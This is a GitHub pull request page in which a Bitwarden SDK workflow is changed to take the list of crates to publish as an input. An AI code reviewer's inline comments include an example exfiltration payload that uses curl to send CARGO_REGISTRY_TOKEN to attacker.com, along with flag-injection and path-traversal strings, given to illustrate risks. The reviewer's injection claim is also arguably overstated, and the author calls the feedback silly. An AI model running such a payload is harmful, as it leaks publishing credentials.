Skip to content

Conversation

@addisonbeck
Copy link
Contributor

🎟️ Tracking

https://bitwarden.atlassian.net/browse/PM-28544

📔 Objective

I am trying to publish to crates.io for the first time in a year, and need to publish a few new crates. Unfortunately, I'm being rate limited.

In this PR I'm moving the published crates list to an input variable so I can run a few batches.

Screenshot 2025-12-11 at 3 04 07 PM

🚨 Breaking Changes

⏰ Reminders before review

  • Contributor guidelines followed
  • All formatters and local linters executed and passed
  • Written new unit and / or integration tests where applicable
  • Protected functional changes with optionality (feature flags)
  • Used internationalization (i18n) for all UI strings
  • CI builds passed
  • Communicated to DevOps any deployment requirements
  • Updated any necessary documentation (Confluence, contributing docs) or informed the documentation
    team

🦮 Reviewer guidelines

  • 👍 (:+1:) or similar for great changes
  • 📝 (:memo:) or ℹ️ (:information_source:) for notes or general info
  • ❓ (:question:) for questions
  • 🤔 (:thinking:) or 💭 (:thought_balloon:) for more open inquiry that's not quite a confirmed
    issue and could potentially benefit from discussion
  • 🎨 (:art:) for suggestions / improvements
  • ❌ (:x:) or ⚠️ (:warning:) for more significant problems or concerns needing attention
  • 🌱 (:seedling:) or ♻️ (:recycle:) for future improvements or indications of technical debt
  • ⛏ (:pick:) for minor or nitpick changes

@addisonbeck addisonbeck marked this pull request as ready for review December 11, 2025 20:05
@addisonbeck addisonbeck requested a review from a team as a code owner December 11, 2025 20:05
@claude
Copy link

claude bot commented Dec 11, 2025

Claude finished @addisonbeck's task —— View job


Code Review Complete ✓

Tasks

  • Read the workflow file changes
  • Run code review analysis
  • Post review findings

Summary

I've completed a thorough security and robustness review of the workflow changes. 6 inline comments have been posted on the PR highlighting specific issues.

Key Findings:

🔴 Critical Security Issues

  • Command injection vulnerability with unquoted input (line 129)
  • Unvalidated package names allowing potential flag injection (line 133)

🟡 Robustness Issues

  • Whitespace handling problems that could break parsing (line 132)
  • Missing validation for empty package lists (line 134)

🔵 Best Practices

  • Add bash safety flags (set -euo pipefail)
  • Improve input documentation

Recommended Action: Address the security issues (quoting and validation) before merging to prevent potential command injection attacks and unintended publishing behavior.

All detailed feedback has been posted as inline comments on the specific lines of code.

@github-actions
Copy link
Contributor

github-actions bot commented Dec 11, 2025

Logo
Checkmarx One – Scan Summary & Details6042314b-b572-48fc-bfa6-a47dd6e32197

Great job! No new security vulnerabilities introduced in this pull request

- Add packages workflow input with space-separated package list
- Replace hardcoded package array with input-driven array
- Default to publishing all 14 crates (maintains existing behavior)
- Enables manual override to batch publications and avoid rate limits

Allows selective publishing when encountering crates.io rate limits
by providing subset of packages to publish.
@addisonbeck addisonbeck force-pushed the pm-28544-fix-publish-rust-crates branch from 4cc59f5 to 1ac6218 Compare December 11, 2025 20:09
env:
PUBLISH_GRACE_SLEEP: 10
CARGO_REGISTRY_TOKEN: ${{ steps.retrieve-secrets.outputs.cratesio-api-token }}
PACKAGES_INPUT: ${{ inputs.packages }}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security: Potential Command Injection Vulnerability

The PACKAGES_INPUT environment variable passes user input directly from ${{ inputs.packages }} without quoting in the heredoc context. This creates a command injection risk.

Issue: If malicious input contains backticks, $(...), or other shell metacharacters, they could be executed.

Example Attack:

packages: "bitwarden-core $(curl https://attacker.com/exfiltrate?token=$CARGO_REGISTRY_TOKEN)"

Recommendation: Quote the variable assignment:

PACKAGES_INPUT: "${{ inputs.packages }}"

Or validate input against an allowlist pattern before use.

bitwarden-uuid-macro
)
# Convert space-separated string to array
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Edge Case: Whitespace Handling Issues

The IFS=' ' read -ra approach has several edge cases:

  1. Multiple consecutive spaces: "bitwarden-core bitwarden-crypto" creates empty array elements
  2. Leading/trailing whitespace: " bitwarden-core " includes empty elements
  3. Tabs or newlines: Not handled as delimiters, treated as part of package names

Impact: Could result in invalid package flags like -p "" or malformed package names.

Recommendation: Use a more robust parsing approach:

# Normalize whitespace and filter empty elements
PACKAGES_INPUT=$(echo "$PACKAGES_INPUT" | xargs)
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"

Or use array filtering:

IFS=' ' read -ra PACKAGES_RAW <<< "$PACKAGES_INPUT"
PACKAGES=()
for pkg in "${PACKAGES_RAW[@]}"; do
  [[ -n "$pkg" ]] && PACKAGES+=("$pkg")
done

)
# Convert space-separated string to array
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"
PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES[@]}")
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security: Unvalidated Package Names

Package names from user input are used directly to construct command-line flags without validation. This creates risks:

  1. Command injection via flag injection: A package name like --execute; malicious-command could inject additional flags or commands
  2. Filesystem traversal: Names like ../../etc/passwd could access unintended files
  3. Nonexistent packages: No validation that package names exist in the workspace

Impact: Could publish wrong packages, fail the workflow, or in worst case, execute unintended commands.

Recommendation: Validate package names against a known allowlist:

# Define allowed packages
ALLOWED_PACKAGES="bitwarden-api-api bitwarden-api-identity bitwarden-cli bitwarden-core bitwarden-crypto bitwarden-encoding bitwarden-error bitwarden-error-macro bitwarden-generators bitwarden-sm bitwarden-state bitwarden-threading bitwarden-uuid bitwarden-uuid-macro"

# Validate each package
for pkg in "${PACKAGES[@]}"; do
  if ! echo "$ALLOWED_PACKAGES" | grep -qw "$pkg"; then
    echo "Error: Invalid package name: $pkg"
    exit 1
  fi
done

Or use workspace member validation:

WORKSPACE_MEMBERS=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[].name')
for pkg in "${PACKAGES[@]}"; do
  if ! echo "$WORKSPACE_MEMBERS" | grep -qx "$pkg"; then
    echo "Error: Package not in workspace: $pkg"
    exit 1
  fi
done

# Convert space-separated string to array
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"
PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES[@]}")
cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Robustness: Missing Error Handling

Several error conditions are not handled:

  1. Empty package list: If PACKAGES_INPUT is empty or all whitespace, cargo-release is called with no -p flags, potentially publishing all workspace crates
  2. Command failure: No validation of array construction success
  3. Flag construction failure: No check if PACKAGE_FLAGS was built correctly

Impact: Could publish unintended packages or fail silently.

Recommendations:

  1. Validate non-empty input:
if [[ -z "$PACKAGES_INPUT" || "$PACKAGES_INPUT" =~ ^[[:space:]]*$ ]]; then
  echo "Error: packages input cannot be empty"
  exit 1
fi
  1. Validate array is non-empty:
if [[ ${#PACKAGES[@]} -eq 0 ]]; then
  echo "Error: No valid packages to publish"
  exit 1
fi
  1. Add debug output:
echo "Publishing packages: ${PACKAGES[*]}"
echo "Package flags: $PACKAGE_FLAGS"
  1. Quote the variable expansion to prevent word splitting:
cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm

Should be:

# Or better, use array directly:
cargo-release release publish "${PACKAGES[@]/#/-p }" --execute --no-confirm

required: true
type: string
default: latest
packages:
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Design: Input Validation at Workflow Level

While GitHub Actions type: string prevents some injection, it doesn't validate:

  • Package name format
  • Package existence in workspace
  • Empty strings
  • Special characters that could break bash parsing

Recommendation: Consider adding a description that documents expected format:

packages:
  description: "Space-separated list of packages to publish (valid workspace members only, e.g., 'bitwarden-core bitwarden-crypto')"
  required: false
  type: string
  default: "..."

Note: This doesn't prevent issues but improves UX. The bash script must still validate input.

PUBLISH_GRACE_SLEEP: 10
CARGO_REGISTRY_TOKEN: ${{ steps.retrieve-secrets.outputs.cratesio-api-token }}
PACKAGES_INPUT: ${{ inputs.packages }}
run: |
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Best Practice: Add Script Debugging and Safety

The bash script lacks safety flags and debugging output.

Recommendations:

  1. Add error handling flags:
set -euo pipefail
  • -e: Exit on error
  • -u: Exit on undefined variable
  • -o pipefail: Exit if any command in a pipeline fails
  1. Add debug output:
echo "Input packages: $PACKAGES_INPUT"
echo "Parsed package count: ${#PACKAGES[@]}"
echo "Package list: ${PACKAGES[*]}"
  1. Validate before execution:
if [[ ${#PACKAGES[@]} -eq 0 ]]; then
  echo "Error: No packages to publish"
  exit 1
fi

Example improved script:

run: |
  set -euo pipefail
  
  # Validate input
  if [[ -z "${PACKAGES_INPUT// /}" ]]; then
    echo "Error: packages input cannot be empty"
    exit 1
  fi
  
  # Convert space-separated string to array
  IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"
  
  # Filter empty elements
  PACKAGES_FILTERED=()
  for pkg in "${PACKAGES[@]}"; do
    [[ -n "$pkg" ]] && PACKAGES_FILTERED+=("$pkg")
  done
  
  # Validate non-empty
  if [[ ${#PACKAGES_FILTERED[@]} -eq 0 ]]; then
    echo "Error: No valid packages after parsing"
    exit 1
  fi
  
  echo "Publishing ${#PACKAGES_FILTERED[@]} packages: ${PACKAGES_FILTERED[*]}"
  
  # Build flags and execute
  PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES_FILTERED[@]}")
  cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm

@github-actions
Copy link
Contributor

github-actions bot commented Dec 11, 2025

🔍 SDK Breaking Change Detection Results

SDK Version: pm-28544-fix-publish-rust-crates (1ac6218)
Completed: 2025-12-11 20:23:09 UTC
Total Time: 248s

Client Status Details
typescript ✅ No breaking changes detected TypeScript compilation passed with new SDK version - View Details

Breaking change detection completed. View SDK workflow

@addisonbeck
Copy link
Contributor Author

This feedback from Claude seems a bit silly but I'll pick up any that the reviewer thinks is appropriate

@codecov
Copy link

codecov bot commented Dec 11, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 78.57%. Comparing base (fc6d317) to head (1ac6218).

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #610   +/-   ##
=======================================
  Coverage   78.57%   78.57%           
=======================================
  Files         283      283           
  Lines       29187    29187           
=======================================
  Hits        22934    22934           
  Misses       6253     6253           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants